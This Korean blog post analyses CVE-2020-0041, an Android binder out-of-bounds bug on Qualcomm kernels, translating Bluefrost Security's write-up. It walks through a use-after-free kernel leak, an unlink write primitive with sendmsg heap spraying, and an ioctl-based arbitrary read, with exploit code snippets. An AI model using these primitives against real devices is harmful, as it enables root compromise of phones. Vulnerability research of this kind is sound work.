CVE-2020-0041 분석 글 번역 및 정리 (+ Samsung Galaxy S10 RCE)

AOSP 3월에 패치된 CVE-2020-0041 취약점에 대한 분석글이다.

원문은 Bluefrost Security LPE 정리글에서 확인할 수 있다.

 

CVE-2020-0041은 Binder Transaction 과정에서 발생하는 Out of Bound취약점이다.

취약점이 발생하는 이유는 생각보다 간단한데, 인덱스 계산할 때 나눗셈 연산을 해야되는걸 곱셈 연산을 하면서 발생하게 된다.

 

이게 좀 웃긴게 트랜잭션을 정리하는 과정에서는 또 나눗셈으로 제대로 계산을 해준다.

밤새고 코딩했거나, 술 마시고 코딩했거나..ㅋㅋ

 

또한, 취약점이 발생하는 코드가 2019년 2월쯤 Qualcomm Kernel(msm)에만 추가되었기 때문에, Qualcomm기반의 Android 10.0 이상의 버전에서만 발생되는 취약점이며, Kernel 4.14/4.9 버전에서 발생된다.

 

Bluefrost팀은 해당 취약점으로 Chrome Escape와 LPE를 달성했는데 두 익스플로잇 과정을 아주 상세하게 정리해두어서

취약점을 분석하는 입장에서 도움이 정말 많이 됐다.

특히, PoC코드의 각 구문에 대한 설명을 주석으로 달아줘서 이해하는데 도움이 상당히 많이 됐다.

 

이 글은 Bluefrost팀의 정리글을 번역함과 동시에 내가 분석했던 부분을 추가해서 정리한 글이다.

 

Root Cause

---

 

kernel/drivers/android/binder.c - binder_transaction( )

static void binder_transaction(struct binder_proc *proc,
                   struct binder_thread *thread,
                   struct binder_transaction_data *tr, int reply,
                   binder_size_t extra_buffers_size)
{


/* 중략 */

        case BINDER_TYPE_FDA: {
            struct binder_object ptr_object;
            binder_size_t parent_offset;
            struct binder_fd_array_object *fda =
                to_binder_fd_array_object(hdr);

                        /******************** 취약점 발생 ********************/
            size_t num_valid = (buffer_offset - off_start_offset) *
                        sizeof(binder_size_t);
                        /***************************************************/
            /* 패치된 코드
            size_t num_valid = (buffer_offset - off_start_offset) /
                        sizeof(binder_size_t);
            */

            struct binder_buffer_object *parent =
                binder_validate_ptr(target_proc, t->buffer,
                            &ptr_object, fda->parent,
                            off_start_offset,
                            &parent_offset,
                            num_valid);
            if (!parent) {
                binder_user_error("%d:%d got transaction with invalid parent offset or type\n",
                          proc->pid, thread->pid);
                return_error = BR_FAILED_REPLY;
                return_error_param = -EINVAL;
                return_error_line = __LINE__;
                goto err_bad_parent;
            }
            if (!binder_validate_fixup(target_proc, t->buffer,
                           off_start_offset,
                           parent_offset,
                           fda->parent_offset,
                           last_fixup_obj_off,
                           last_fixup_min_off)) {
                binder_user_error("%d:%d got transaction with out-of-order buffer fixup\n",
                          proc->pid, thread->pid);
                return_error = BR_FAILED_REPLY;
                return_error_param = -EINVAL;
                return_error_line = __LINE__;
                goto err_bad_parent;
            }
            ret = binder_translate_fd_array(fda, parent, t, thread,
                            in_reply_to);
            if (ret < 0) {
                return_error = BR_FAILED_REPLY;
                return_error_param = ret;
                return_error_line = __LINE__;
                goto err_translate_failed;
            }
            last_fixup_obj_off = parent_offset;
            last_fixup_min_off =
                fda->parent_offset + sizeof(u32) * fda->num_fds;
        } break;
        case BINDER_TYPE_PTR: {
            struct binder_buffer_object *bp =
                to_binder_buffer_object(hdr);
            size_t buf_left = sg_buf_end_offset - sg_buf_offset;
            size_t num_valid;

            if (bp->length > buf_left) {
                binder_user_error("%d:%d got transaction with too large buffer\n",
                          proc->pid, thread->pid);
                return_error = BR_FAILED_REPLY;
                return_error_param = -EINVAL;
                return_error_line = __LINE__;
                goto err_bad_offset;
            }
            if (binder_alloc_copy_user_to_buffer(
                        &target_proc->alloc,
                        t->buffer,
                        sg_buf_offset,
                        (const void __user *)
                            (uintptr_t)bp->buffer,
                        bp->length)) {
                binder_user_error("%d:%d got transaction with invalid offsets ptr\n",
                          proc->pid, thread->pid);
                return_error_param = -EFAULT;
                return_error = BR_FAILED_REPLY;
                return_error_line = __LINE__;
                goto err_copy_data_failed;
            }
            /* Fixup buffer pointer to target proc address space */
            bp->buffer = (uintptr_t)
                t->buffer->user_data + sg_buf_offset;
            sg_buf_offset += ALIGN(bp->length, sizeof(u64));

                        /******************** 취약점 발생 ********************/
            num_valid = (buffer_offset - off_start_offset) *
                    sizeof(binder_size_t);

                        /***************************/
            /* 패치된 코드
            size_t num_valid = (buffer_offset - off_start_offset) /
                        sizeof(binder_size_t);
            */

            ret = binder_fixup_parent(t, thread, bp,
                          off_start_offset,
                          num_valid,
                          last_fixup_obj_off,
                          last_fixup_min_off);
            if (ret < 0) {
                return_error = BR_FAILED_REPLY;
                return_error_param = ret;
                return_error_line = __LINE__;
                goto err_translate_failed;
            }
            binder_alloc_copy_to_buffer(&target_proc->alloc,
                            t->buffer, object_offset,
                            bp, sizeof(*bp));
            last_fixup_obj_off = object_offset;
            last_fixup_min_off = 0;
        } break;

/* 생략 */
}

CVE-2020-0041 취약점은 Binder 트랜잭션 중 노드의 최대 Index값이 되는 num_valid값이 잘 못 계산되어서 발생하게 된다.

 

size_t num_valid = (buffer_offset - off_start_offset) * sizeof(binder_size_t);

취약점이 발생하는 구문은 위와 같다.

 

buffer_offset이 0x10이고, off_start_offset이 0x0인 상황에서 위 구문으로 num_valid값을 계산하게 되면 다음과 같은 결과가 도출된다.

/* buffer_offset - off_start_offset * binder_size_t = num_valid */
(0x10 - 0x0) * 0x8 = 0x80;

num_valid가 0x80이라는 비정상적인 값으로 계산된다.

즉, 해당 바인더 트랜잭션에서 접근 가능한 노드의 최대 Index가 0x80이 되는 것이다.

 

이 때문에 위와 같이 OOB(Out Of Bound)취약점이 발생하게 된다.

 

PATCHED

size_t num_valid = (buffer_offset - off_start_offset) / sizeof(binder_size_t);

패치된 코드를 살펴보면 *연산이 / 연산으로 수정되었는데, 해당 구문으로 다시 계산해보면 다음과 같은 결과가 나온다.

 

/* buffer_offset - off_start_offset * binder_size_t = num_valid */
(0x10 - 0x0) / 0x8 = 0x2;

num_valid가 0x2로 정상적인 값으로 계산된다.

 

이 취약점만 가지고 LPE를 진행하는건 불가능하다.

bluefrostsecurity에서는 UAF와 unlink 기법을 추가해서 root권한을 획득하였다.

 

 

 

 

Kernel Memory Leak ( Use After Free )

---

먼저 CVE-2020-0041의 근본적인 취약점 OOB(OutOfBound)로 UAF(Use After Free)상황을 만들 수 있다.

binder_transaction_buffer_release() (drivers/android/binder.c)

static void binder_transaction_buffer_release(struct binder_proc *proc,
                          struct binder_buffer *buffer,
                          binder_size_t failed_at,
                          bool is_failure)
{
    int debug_id = buffer->debug_id;
    binder_size_t off_start_offset, buffer_offset, off_end_offset;

    binder_debug(BINDER_DEBUG_TRANSACTION,
             "%d buffer release %d, size %zd-%zd, failed at %llx\n",
             proc->pid, buffer->debug_id,
             buffer->data_size, buffer->offsets_size,
             (unsigned long long)failed_at);

    if (buffer->target_node)
       binder_dec_node(buffer->target_node, 1, 0);

    off_start_offset = ALIGN(buffer->data_size, sizeof(void *));
    off_end_offset = is_failure ? failed_at :
                off_start_offset + buffer->offsets_size;
[1]    for (buffer_offset = off_start_offset; buffer_offset < off_end_offset;
         buffer_offset += sizeof(binder_size_t)) {
        struct binder_object_header *hdr;
        size_t object_size;
        struct binder_object object;
        binder_size_t object_offset;

        binder_alloc_copy_from_buffer(&proc->alloc, &object_offset,
                          buffer, buffer_offset,
                          sizeof(object_offset));
        object_size = binder_get_object(proc, buffer,
                        object_offset, &object);
        if (object_size == 0) {
            pr_err("transaction release %d bad object at offset %lld, size %zd\n",
                   debug_id, (u64)object_offset, buffer->data_size);
            continue;
        }
        hdr = &object.hdr;
[2]     switch (hdr->type) {
            case BINDER_TYPE_BINDER:
            case BINDER_TYPE_WEAK_BINDER: {
                struct flat_binder_object *fp;
                struct binder_node *node;

                fp = to_flat_binder_object(hdr);
[3]             node = binder_get_node(proc, fp->binder);
                if (node == NULL) {
                    pr_err("transaction release %d bad node %016llx\n",
                           debug_id, (u64)fp->binder);
                    break;
                }
                binder_debug(BINDER_DEBUG_TRANSACTION,
                         "        node %d u%016llx\n",
                         node->debug_id, (u64)node->ptr);
[4]             binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER,
                        0);
                binder_put_node(node);
            } break;

binder_transaction_buffer_release()는 바인더 트랜잭션에 사용된 노드를 해제하는 역할을 한다.

 

[1] 구문의 반복문을 돌면서 트랜잭션의 모든 binder_node들이 처리되고, [2]의 switch문으로 BINDER_TYPE에 따른 case에 맞게 노드들이 처리된다.

 

노드 해제는 [4]의 binder_dec_node()에서 처리되는데, 인자로 전달되는 node는 [3]에서 binder_get_node()를 통해 가져와진다.

 

fp->binder는 OOB로 수정가능한 값이기 때문에 임의의 binder_node로 바꿀 수 있게 된다.

따라서, binder_dec_node()에 사용중인 임의의 binder_node를 넘겨줌으로써 UAF가 발생하게 된다.

 

이렇게 트리거한 UAF취약점으로 Kernel Memory leak이 가능해지는데, 트랜잭션 과정에서 binder_node의 데이터가 유저 영역으로 저장되는 과정을 살펴볼 필요가 있다.

 

binder_thread_read() (drivers/android/binder.c)

        struct binder_transaction_data *trd = &tr.transaction_data;

...

        if (t->buffer->target_node) {
            struct binder_node *target_node = t->buffer->target_node;
            struct binder_priority node_prio;

[1]         trd->target.ptr = target_node->ptr;
            trd->cookie =  target_node->cookie;
            node_prio.sched_policy = target_node->sched_policy;
            node_prio.prio = target_node->min_priority;
            binder_transaction_priority(current, t, node_prio,
                            target_node->inherit_rt);
            cmd = BR_TRANSACTION;
        } else {
            trd->target.ptr = 0;
            trd->cookie = 0;
            cmd = BR_REPLY;
        }

...

[2]     if (copy_to_user(ptr, &tr, trsize)) {
            if (t_from)
                binder_thread_dec_tmpref(t_from);

            binder_cleanup_transaction(t, "copy_to_user failed",
                           BR_FAILED_REPLY);

            return -EFAULT;
        }
        ptr += trsize;

binder_node가 트랜잭션의 target_node로 사용되면 위 코드에서 [1] 분기문으로 처리된다.

 

유심히 봐야할 부분은 binder_node의 ptr과 cookie필드를 binder_transaction_data오브젝트에 저장하고,[2] 분기문에서 유저영역으로 복사되는 점이다.

 

[2] 분기문은 수신 프로세스가 트랜잭션을 읽어 들일 때 수행되게 되는데, binder_node를 트랜잭션 대기열에 등록하고 위의 OOB취약점으로 해당 노드를 해제하게 되면 노드는 dangling pointer를 가지게 될 것이다.

 

이 상태에서 binder_node와 크기가 같고, 마음대로 할당/해제가 가능한 오브젝트가 있다면 해당 오브젝트로 재할당을 유도할 수 있을 것이다.

 

위 조건을 충족하는 오브젝트로 eventpoll에서 사용되는 epitem오브젝트가 있다.

 

먼저 binder_node의 필드 구조부터 살펴보자. 노드의 크기는 128Byte를 가진다.

binder_node ( drivers/android/binder.c )

struct binder_node {                        // binder_node Total Size: 128 Byte (Decimal)
    int debug_id;                            // 0 - 4 (4 Byte)
    spinlock_t lock;                        // 4 - 8 (4 Byte)
    struct binder_work work;                // 8 - 32 (24 Byte)

    union {                                    // 32 - 56 (24 Byte) 
                                            // union은 가장 큰 멤버의 크기로 할당됨 (24 > 16)

        struct rb_node rb_node;                // rb_node Total Size: 24Byte
    //    ㄴ unsigned long __rb_parent_color; // 8 byte
    //  ㄴ struct rb_node *rb_right;            // 8 byte
    //    ㄴ struct rb_node *rb_left;            // 8 byte

        struct hlist_node dead_node;        // hlist_node Total size: 16Byte
    //  ㄴ struct hlist_node *next;            // 8 byte
    //    ㄴ struct hlist_node **pprev;         // 8 byte
    };

    struct binder_proc *proc;                // 56 - 64 (8 Byte)
    struct hlist_head refs;                    // 64 - 72 (8 Byte)
//  ㄴ struct hlist_node *first;                // 8 byte

    int internal_strong_refs;                // 72 - 76 (4 Byte)
    int local_weak_refs;                    // 76 - 80 (4 Byte)
    int local_strong_refs;                    // 80 - 84 (4 Byte)
    int tmp_refs;                            // 84 - 88 (4 Byte)

    binder_uintptr_t ptr;                    // 88 - 96  (8 Byte)  /* Point(1) */
    binder_uintptr_t cookie;                // 96 - 104 (8 Byte)  /* Point(2) */

    struct {                                // 104 - 105 (1 Byte)
        /*
         * bitfield elements protected by
         * proc inner_lock
         */
        u8 has_strong_ref:1;
        u8 pending_strong_ref:1;
        u8 has_weak_ref:1;
        u8 pending_weak_ref:1;
    };
    struct {                                // 105 - 107 (2 Byte)
        /*
         * invariant after initialization
         */
        u8 accept_fds:1;
        u8 txn_security_ctx:1;
        u8 min_priority;
    };
    bool has_async_transaction;                // 107 - 108 (1 Byte)
                                            // 108 - 112 (4 Byte) for align
    struct list_head async_todo;            // 112 - 128 (16 Byte)
};

copy_to_user()에서 복사되는 값은 ptr, cookie 두 필드의 값이며, 각 0x58(88), 0x60(96) 오프셋에 위치한다.

    binder_uintptr_t ptr;                    // 88 - 96  (8 Byte)  /* Point(1) */
    binder_uintptr_t cookie;                // 96 - 104 (8 Byte)  /* Point(2) */

 

다음은 epitem의 구조를 살펴보자

epitem ( fs/eventpoll.c )

struct epitem {
    union {                // 0 - 24 (24 Byte) Union 공용체 (24Byte > 16Byte)
        struct rb_node rbn;                    // 24 Byte
    //  ㄴ unsigned long __rb_parant_color    // 8 Byte
    //  ㄴ struct rb_node *rb_right;            // 8 Byte
    //  ㄴ struct rb_node *rb_left;            // 8 Byte

        struct rcu_head rcu;                    // 16 Byte
    //  ㄴ struct callback_head *next;            // 8 Byte
    //  ㄴ void (*func)(struct callback_head *);// 8 Byte
    };

    struct list_head rdllink;    // 24 - 40 (16 Byte)
//  ㄴ struct list_head *next;    // 8 Byte
//  ㄴ struct list_head *prev;    // 8 Byte

    struct epitem *next;        // 40 - 48 (8 Byte)


    struct epoll_filefd ffd;    // 48 - 60 (12 Byte)
//  ㄴ struct file *file;        // 8 Byte
//    ㄴ int fd;                    // 4 Byte

    int nwait;                    // 60 - 64 (4 Byte)

    struct list_head pwqlist;    // 64 - 80 (16 Byte)
//    ㄴ struct list_head *next;    // 8 Byte
//    ㄴ struct list_head *prev;    // 8 Byte

    struct eventpoll *ep;        // 80 - 88 (8 Byte)

    struct list_head fllink;    // 88 - 104 (16 Byte)
//  ㄴ struct list_head *next;    // 8 Byte /* Point(1) == binder_node->ptr */
//  ㄴ struct list_head *prev;    // 8 Byte /* Point(2) == binder_node->cookie */

    struct wakeup_source __rcu *ws; // 104 - 112 (8 Byte)

    struct epoll_event event;    // 112 - 128 (16 Byte)
//  ㄴ __u32 events;
//  ㄴ __u64 data;
};

epitem도 128Byte의 크기를 가지며, 0x58에는 fllink->next, 0x60에는 fllink->prev가 위치한다.

 

fllink는 eventpoll의 epitem 오브젝트를 리스트로 연결해서 관리하는데 사용되기 때문에 fllink->next와 fllink->prev 두 개의 커널 메모리를 얻을 수 있게 된다.

 

그림으로 표현하면 다음과 같이 표현할 수 있다.

하나의 epitem이 할당되면 위와 같은 모습의 리스트 구조를 갖게 된다.

 

그림에서 binder_node->ptr과 binder_node->cookie와 같은 오프셋을 가지는 부분은 fllink.next와 fllink.prev부분이다.

 

리스트에 epitem이 하나만 존재하기 때문에 next와prev가 같은 포인터 값을 갖게 되므로 하나의 커널 주소를 얻을 수 있게 된다.

 

두 개의 epitem이 리스트에 존재한다고 가정해보자

 

fllink.next은 다음 epitem의 주소를 갖게 되고, fllink.prev는 struct file의 주소를 갖게되므로 두 개의 커널 주소를 얻을 수 있다.

 

다만, 이 방법으로 leak을 진행하려면 UAF를 통해 epitem이 binder_node위치에 재할당될 때까지 copy_to_user()가 실행되지 않도록 트랜잭션을 대기 상태로 두어야 한다.

이 부분은 Thread를 사용해서 해결할 수 있다.

 

각 트랜잭션 마다 Thread를 생성하고, pthread_barrier_wait()를 통해 Thread를 블록상태로 두면 트랜잭션 또한 더 이상 진행되지 않고 대기 상태로 유지된다.

 

leak이 필요한 시점에 블록상태를 해제하면 copy_to_user()가 실행되고 우리가 원하는 데이터를 얻을 수 있게 된다.

여기서 알아낸 커널 포인터는 Kernel Write를 구현하는데 사용된다.

 

 

 

 

Kernel Write ( unlink )

---

Kernel Write를 위해서 앞에서 봤던 binder_transaction_buffer_release()로 다시 되돌아 가야 한다.

static void binder_transaction_buffer_release(struct binder_proc *proc,
                          struct binder_buffer *buffer,
                          binder_size_t failed_at,
                          bool is_failure)
{
    int debug_id = buffer->debug_id;
    binder_size_t off_start_offset, buffer_offset, off_end_offset;

    binder_debug(BINDER_DEBUG_TRANSACTION,
             "%d buffer release %d, size %zd-%zd, failed at %llx\n",
             proc->pid, buffer->debug_id,
             buffer->data_size, buffer->offsets_size,
             (unsigned long long)failed_at);

[1]    if (buffer->target_node)
        binder_dec_node(buffer->target_node, 1, 0);

/* 생략 */

[1] 조건문에서 노드가 트랜잭션의 target_node인지 확인하고, target_node일 경우 binder_dec_node()로 분기된다.

 

static void binder_dec_node(struct binder_node *node, int strong, int internal)
{
    bool free_node;

    binder_node_inner_lock(node);
    free_node = binder_dec_node_nilocked(node, strong, internal);
    binder_node_inner_unlock(node);
    if (free_node)
        binder_free_node(node);
}

binder_dec_node()는 노드를 블럭시키고 binder_dec_node_nilocked()로 해제 과정을 진행한다.

 

static bool binder_dec_node_nilocked(struct binder_node *node,
                     int strong, int internal)
{
    struct binder_proc *proc = node->proc;

    assert_spin_locked(&node->lock);
    if (proc)
        assert_spin_locked(&proc->inner_lock);
    if (strong) {
        if (internal)
            node->internal_strong_refs--;
        else
            node->local_strong_refs--;
        if (node->local_strong_refs || node->internal_strong_refs)
            return false;
    } else {
        if (!internal)
            node->local_weak_refs--;
        if (node->local_weak_refs || node->tmp_refs ||
                !hlist_empty(&node->refs))
            return false;
    }

     if (proc && (node->has_strong_ref || node->has_weak_ref)) {
[1]   if (list_empty(&node->work.entry)) {
            binder_enqueue_work_ilocked(&node->work, &proc->todo);
            binder_wakeup_proc_ilocked(proc);
        }
[2] } else {
        if (hlist_empty(&node->refs) && !node->local_strong_refs &&
            !node->local_weak_refs && !node->tmp_refs) {
            if (proc) {
                binder_dequeue_work_ilocked(&node->work);
                rb_erase(&node->rb_node, &proc->nodes);
                binder_debug(BINDER_DEBUG_INTERNAL_REFS,
                         "refless node %d deleted\n",
                         node->debug_id);
            } else {
[3]             BUG_ON(!list_empty(&node->work.entry));
                spin_lock(&binder_dead_nodes_lock);
                /*
                 * tmp_refs could have changed so
                 * check it again
                 */
                if (node->tmp_refs) {
                    spin_unlock(&binder_dead_nodes_lock);
                    return false;
                }
[4]             hlist_del(&node->dead_node);
                spin_unlock(&binder_dead_nodes_lock);
                binder_debug(BINDER_DEBUG_INTERNAL_REFS,
                         "dead node %d deleted\n",
                         node->debug_id);
            }
            return true;
        }
    }
    return false;
}

binder_dec_node_nilocked()에서 몇 가지 분기문을 지나면 hlist_del()로 실질적인 해제가 진행된다.

 

[1]분기문에서는 list_empty()를 통해 노드가 비었는지 확인하기 때문에, [2]로 분기 시키기 위해서 노드의 데이터를 설정해주고, 다음으로 노드의 proc이 NULL인지 확인하는데 NULL이 아니기 때문에 [3]으로 분기된다.

 

[3]에서 list_empty()가 실행되면서 BUG_ON() 검사가 진행되는데, 이 검사를 생략하려면 node->next와 node->prev가 list_head를 가리키게 해야한다.

 

이 부분은 위에서 Kernel Memory leak을 통해 얻은 주소로 해결할 수 있다.

 

[3]까지 우회하게 되면 [4]구문에서 우리가 쓰기 가능한 node로 hlist_del()에 진입하게 된다.

 

static inline void __hlist_del(struct hlist_node *n)
{
    struct hlist_node *next = n->next;
    struct hlist_node **pprev = n->pprev;

    WRITE_ONCE(*pprev, next);
    if (next)
        next->pprev = pprev;
}

static inline void hlist_del(struct hlist_node *n)
{
    __hlist_del(n);
    n->next = LIST_POISON1;
    n->pprev = LIST_POISON2;
}

hlist_del()를 보면 전형적인 unlink 수행 함수이다.

따라서, 두 개의 쓰기 가능한 커널 주소를 node->next와 node->prev로 설정해서 Kernel Write를 진행할 수 있다.

또한, node->next를 NULL로 설정하면 하나의 커널 주소에 8Byte NULL를 쓸 수 있다.

 

여기서 node->next와 node->prev를 완전히 컨트롤 하기 위해서는 HeapSpray 과정이 필요하다.

커널영역의 HeapSpray는 sendmsg()시스템콜을 통해 진행할 수 있다.

 

static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
             struct msghdr *msg_sys, unsigned int flags,
             struct used_address *used_address,
             unsigned int allowed_msghdr_flags)
{
    struct compat_msghdr __user *msg_compat =
        (struct compat_msghdr __user *)msg;
    struct sockaddr_storage address;
    struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
    unsigned char ctl[sizeof(struct cmsghdr) + 20]
        __attribute__ ((aligned(sizeof(__kernel_size_t))));
    /* 20 is size of ipv6_pktinfo */
    unsigned char *ctl_buf = ctl;
    int ctl_len;
    ssize_t err;

...

        if (ctl_len > sizeof(ctl)) {
[1]         ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        err = -EFAULT;
        /*
         * Careful! Before this, msg_sys->msg_control contains a user pointer.
         * Afterwards, it will be a kernel pointer. Thus the compiler-assisted
         * checking falls down on this.
         */
[2]     if (copy_from_user(ctl_buf,
                   (void __user __force *)msg_sys->msg_control,
                   ctl_len))
            goto out_freectl;
        msg_sys->msg_control = ctl_buf;
    }

...


out_freectl:
    if (ctl_buf != ctl)
[3]    sock_kfree_s(sock->sk, ctl_buf, ctl_len);
out_freeiov:
    kfree(iov);
    return err;
}

위 함수가 sendmsg()의 구현체인데, [1]을 보면 요청한 메시지의 길이가 ctl_buf보다 크면 sock_kmalloc()을 통해 커널에 힙 할당이 이루어지는 것을 볼 수 있다.

[2]에서 copy_from_user()로 요청 메시지가 ctl_buf로 복사되고, [3]에서 할당이 해제된다.

 

hlist_del()에서 unlink가 진행되기 전에 ctl_buf의 할당이 해제되면 안되기 때문에, copy_from_user()가 실행된 뒤의 코드 실행을 차단해야 한다.

 

사용자가 전송한 데이터가 버퍼를 가득 채우게 되면 시스템 호출이 차단되는데, 이 방법을 통해서 sock_kfree_s()의 실행을 차단할 수 있다.

 

이 HeapSpray를 통해 우리는 binder_node를 완전히 제어 가능한 형태로 재할당해 줄 수 있다.

 

 

 

 

Kernel Read

---

Kernel Read는 CVE-2019-2205과 동일한 방법을 사용하였다.

UAF를 통해 file->f_inode를 제어 가능한 형태로 만들어 준 뒤, ioctl()를 통해 Kernel Read를 수행한다.

 

다만, CVE-2019-2205에서는 binder_mapping을 활용하였지만 현재 버전에서는 binder_mapping이 제거되면서 더 이상 해당 방법을 통해서는 불가능해졌다.

 

여기에서는 file->f_inode가 epitem을 가리키도록 해서 binder_mapping을 대체하였다.

epitem에는 우리가 완전히 제어 가능한 epitem.data필드가 존재한다.

epitem.data는 8Byte의 크기를 가지며, ep_ctl(efd, EPOLL_CTL_MOD, fd &event)를 통해 수정할 수 있다.

 

do_vfs_ioctl ( fs/ioctl.c )

int do_vfs_ioctl(struct file *filp, unsigned int fd, unsigned int cmd,
         unsigned long arg)
{
    int error = 0;
    int __user *argp = (int __user *)arg;
    struct inode *inode = file_inode(filp);

    switch (cmd) {

...

    case FIGETBSZ:
        return put_user(inode->i_sb->s_blocksize, argp); /* Point */

...

따라서, event.data값을 inode->i_sb->s_blocksize로 정렬하면 원하는 커널주소의 값을 읽을 수 있게 된다.

이 과정을 그림으로 다음과 같이 표현할 수 있다.

 

먼저 Kernel Write로 epitem->next가 file->f_inode를 가리키도록 한다.

 

그런 다음 f_inode가 epitem을 가리키도록 하는데, inode->i_sb가 epitem.data와 정렬되도록 오프셋을 잘 계산해서 주소를 덮어써준다.

여기까지 진행하면 inode->i_sb는 epitem.data를 가리키게 된다.

 

이제 epitem.data에 Kernel_Addr - s_blocksize(24)값을 써주면, 우리가 원하는 커널 주소의 값을 읽어올 수 있게된다.

 

uint64_t read32(uint64_t addr) {
   struct epoll_event evt;
   evt.events = 0;
   evt.data.u64 = addr - 24;
   int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt);
   uint32_t test = 0xdeadbeef;
   ioctl(pipes[0], FIGETBSZ, &test);
   return test;
}

uint64_t read64(uint64_t addr) {
   uint32_t lo = read32(addr);
   uint32_t hi = read32(addr+4);

   return (((uint64_t)hi) << 32) | lo;
}

위에서 설명한 방법으로 Kernel Read를 구현한 모습이다.

 

evt.data.u64에 Kernel_Addr - 24(s_blocksize) 값을 저장하고 ioctl()로 값을 읽어온다.

ioctl()은 4Byte만 읽어올 수 있기 때문에, 8Byte를 읽기 위해서는 값을 두 번 읽어줘야 한다.

 

전체적인 과정의 코드는 다음과 같다.

 

/* Step 1: leak a pipe file address */

file = node_new("leak_file");

/* Only works on file implementing the 'epoll' function. */
while (!node_realloc_epitem(file, pipes[0]))
   node_reset(file);

uint64_t file_addr = file->file_addr;
log_info("[+] pipe file: 0x%lx\n", file_addr);


/* Step 2: leak epitem address */
struct exp_node *epitem_node = node_new("epitem");
while (!node_kaddr_disclose(file, epitem_node))
   node_reset(epitem_node);

printf("[*] file epitem at %lx\n", file->kaddr);

/*
 * Alright, now we want to do a write8 to set file->f_inode.
 * Given the unlink primitive, we'll set file->f_inode = epitem + 80
 * and epitem + 88 = &file->f_inode.
 *
 * With this we can change f_inode->i_sb by modifying the epitem data,
 * and get an arbitrary read through ioctl.
 *
 * This is corrupting the fllink, so we better don't touch anything there!
 */

struct exp_node *write8_inode = node_new("write8_inode");
node_write8(write8_inode, file->kaddr + 120 - 40 , file_addr + 0x20);

printf("[*] Write done, should have arbitrary read now.\n");
uint64_t fop = read64(file_addr + 0x28);
printf("[+] file operations: %lx\n", fop);

kernel_base = fop - OFFSET_PIPE_FOP;
printf("[+] kernel base: %lx\n", kernel_base);

이로써, Kernel Write, Kernel Read가 가능해졌다.

이제부터는 Read/Write를 적절히 활용해서 익스플로잇을 진행하면 된다.

 

---

Samsung S10 RCE (SELinux + Know Bypass)

 

 

CVE-2020-0041 1day를 이용한 Samsung Galaxy S10 RCE 영상입니다.

SELinux와 Knox를 우회하는 과정에서 제약사항들이 좀 있어서 익스플로잇 시간이 좀 기네요.